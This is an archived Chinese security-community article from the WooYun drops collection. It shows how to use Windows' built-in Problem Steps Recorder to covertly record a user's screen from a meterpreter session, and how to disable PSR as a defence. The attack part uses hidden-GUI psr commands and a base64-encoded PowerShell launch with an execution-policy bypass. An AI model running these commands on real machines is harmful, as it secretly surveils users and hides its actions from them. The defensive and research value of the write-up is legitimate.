# 渗透技巧——如何巧妙利用PSR监控Windows桌面

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2016-03-29T02:21:00Z
Canonical: https://wepostx.com/topics/159

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:1115
> **原始发布时间：** 2016-03-29 10:21
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

在渗透测试的过程中，如果需要获取主机的更多信息，相比于键盘记录，记录系统屏幕的操作往往更加直接有效。
也许每个人都有自己独特的实现方式，但是如果能够利用Windows系统自带的程序实现，个人认为绝对是最优先考虑的方案。
下面就介绍一下如何利用Windows系统自带的功能实现监控屏幕操作。

![原文图片](/media/2016/06/99979e2a46da17b24a4eeb478859b534)

# 0x01 简介

PSR（Problem Steps Recorder），直译为问题步骤记录器，在Windows 早期的系统中，采用WER（Windows Error Reporting）来收集系统的错误报告，但这些报告往往包含的信息太少以致于无法解决实际问题。
为此，微软从Windows 7系统开始，增加了PSR来解决这个问题，PSR能够记录用户在遇到崩溃时执行的所有操作，以便测试人员和开发人员能够重现环境对其分析和调试。
当PSR运行时，将会自动记录屏幕的操作，每次操作都会自动保存成一张图片，最终生成一份zip格式的报告。
注：
百度百科对psr的名称描述有误，准确的应为Problem Steps Recorder（该问题已提交）
如图
![原文图片](/media/2016/06/b76b1f28acd19f4a144197c9a9e735a2)

链接为：
[http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K](http://baike.baidu.com/link?url=BCQtF6gpxNGulRPj-vACw_NGwZvHPcrfvn4vmx6u_JFI_OcuPJIFzY3GYE-mu91DZcB-RLiQ6pGXTki1Fc0Y6K)

# 0x02 使用方法

### 1、启动psr.exe，点击开始录制
可使用快捷键win+R直接输入psr来启动
下图为psr的操作面板，点击开始记录即可记录当前的屏幕操作

![原文图片](/media/2016/06/b07f775f2df4f1db64672b1beba855ba)

点击后会提示权限的问题，如果需要记录管理员权限的程序，那么需要以管理员权限来运行psr，如图

![原文图片](/media/2016/06/53d90733d78f560b09c02b8d355c1bf2)

### 2、进行任意操作
当运行psr开始录制后，鼠标点击时会增加特效
如图
![原文图片](/media/2016/06/04c404a56884f63265d2f4217a6dd4eb)

### 3、停止记录，保存报告
如图
![原文图片](/media/2016/06/f17313a60852a5dfa498481251c6a749)

### 4、查看报告
报告会对每次操作截图，并记录鼠标的操作
比如鼠标的单击操作，从截图注释可以看到当前的鼠标做了哪些操作
![原文图片](/media/2016/06/f30de8afcd70acf7538ef86da1b21fd6)

而且，在报告后半部分会详细记录相关细节，里面的内容也很是有趣：
![原文图片](/media/2016/06/29a5d1ff712140fd441bd0e6084adf89)

# 0x03 进阶方法

psr在记录屏幕的操作中会启动UI界面，并且对鼠标点击操作增加特效，这显然无法满足渗透测试的要求。
但好在psr提供了命令行参数用作后台记录
命令行参数如下：

```text
#!bash psr.exe [/start |/stop][/output <fullfilepath>] [/sc (0|1)] [/maxsc <value>] [/sketch (0|1)] [/slides (0|1)] [/gui (0|1)] [/arcetl (0|1)] [/arcxml (0|1)] [/arcmht (0|1)] [/stopevent <eventname>] [/maxlogsize <value>] [/recordpid <pid>] /start Start Recording. (Outputpath flag SHOULD be specified) /stop Stop Recording. /sc Capture screenshots for recorded steps. /maxsc Maximum number of recent screen captures. /maxlogsize Maximum log file size (in MB) before wrapping occurs. /gui Display control GUI. /arcetl Include raw ETW file in archive output. /arcxml Include MHT file in archive output. /recordpid Record all actions associated with given PID. /sketch Sketch UI if no screenshot was saved. /slides Create slide show HTML pages. /output Store output of record session in given path. /stopevent Event to signal after output files are generated.
```
结合实际，可使用以下命令：

- psr.exe /start /gui 0 /output C:\test\capture.zip
后台启动psr并开始录制，文件保存为C:\test\capture.zip

- psr.exe /stop
结束录制并退出psr，自动保存报告文件

# 0x04 实际测试

测试环境：

```text
Server： OS：Kali linux IP：192.168.174.133 Client： OS:Win7 x86 IP:192.168.174.128 Kali已获得meterpreter权限
```
如图
![原文图片](/media/2016/06/a7a90f1d4ac4f344c2bc2a6608dbd69c)

测试功能：

- 自动启动录制

- 录制指定时间后自动退出

- 自动保存报告文件
可使用Powershell对上述功能做简单实现：
1、启动自动录制，设置为无界面模式，并指定输出路径：

```text
#!bash psr.exe /start /gui 0 /output C:\test\capture.zip;
```
2、等待10s，即录制时间为10s：

```text
#!bash Start-Sleep -s 10;
```
3、结束录制，自动退出：

```text
#!bash psr.exe /stop;
```
可将以上代码保存为C:\test\1.txt，然后对其作base64加密
在Powershell环境下执行如下代码来对功能代码进行base64加密：

```text
#!powershell $string=Get-Content "C:\test\1.txt" $bytes = [System.Text.Encoding]::Unicode.GetBytes($string) $encoded = [System.Convert]::ToBase64String($bytes) $encoded
```

![原文图片](/media/2016/06/80566dad9a522a14a71d4f735c59e878)

如图，从输出得到加密的Powershell命令为：

```text
#!bash cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
```
然后就可以在meterpreter的shell下直接执行Powershell命令：

```text
#!bash powershell -ep bypass -enc cABzAHIALgBlAHgAZQAgAC8AcwB0AGEAcgB0ACAALwBnAHUAaQAgADAAIAAvAG8AdQB0AHAAdQB0ACAAQwA6AFwAdABlAHMAdABcAGMAYQBwAHQAdQByAGUALgB6AGkAcAA7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADsAIABwAHMAcgAuAGUAeABlACAALwBzAHQAbwBwADsA
```

![原文图片](/media/2016/06/f45cab466b9269c1b7f44acc63b9193e)

代码执行后，等待10s产成报告文件capture.zip，测试成功

# 0x05 防御

可采用以下两种方法关闭psr：

### 1、使用组策略
中文系统：
gpedit.msc-管理模板-Windows组件-应用程序兼容性
启用关闭问题步骤记录器
如图
![原文图片](/media/2016/06/0be3739d2a2b2a3b8cbc656e2a916131)

英文系统：
gpedit.msc-Computer Configuration-Administrative Templates-Windows Components-Application Compatibility
启用Turn off Problem Steps Recorder
如图
![原文图片](/media/2016/06/0ea384519ba25dca739b31dea32cb9f0)

### 2、修改注册表

```text
#!bash [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\AppCompat]
```
新建"DisableUAR"=dword:00000001
如图
![原文图片](/media/2016/06/f6f7d32b13be6fd1fa6c6c502b39d62f)

注：
dword=1对应组策略中的已启用
dword=0对应组策略中的已禁用
删除"DisableUAR"对应组策略中的未配置

# 0x06 小结

利用PSR监控Windows桌面，不仅仅能够捕获用户桌面的操作，而且在报告中会包含更多有用的细节信息，相信你在渗透测试的过程中，一定会用上它。

# 0x07 参考资料

- [https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/](https://cyberarms.wordpress.com/2016/02/13/using-problem-steps-recorder-psr-remotely-with-metasploit/)

- [https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx](https://msdn.microsoft.com/en-us/library/windows/desktop/dd371782(v=vs.85).aspx)

- [https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/](https://blogs.msdn.microsoft.com/cjacks/2009/02/25/deciphering-the-command-line-configuration-of-the-windows-7-problem-steps-recorder/)

- [https://technet.microsoft.com/en-us/magazine/dd464813.aspx](https://technet.microsoft.com/en-us/magazine/dd464813.aspx)

- [http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx](http://blogs.msdn.com/b/wer/archive/2009/03/30/problem-steps-recorder-psr-exe-windows-error-reporting-another-tool-to-help-find-solutions-to-software-defects.aspx)

- [http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx](http://blogs.technet.com/b/mspfe/archive/2013/03/22/uncovering-a-hidden-gem-psr-exe.aspx)

- [http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html](http://www.sevenforums.com/tutorials/139779-problem-steps-recorder-enable-disable.html)
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
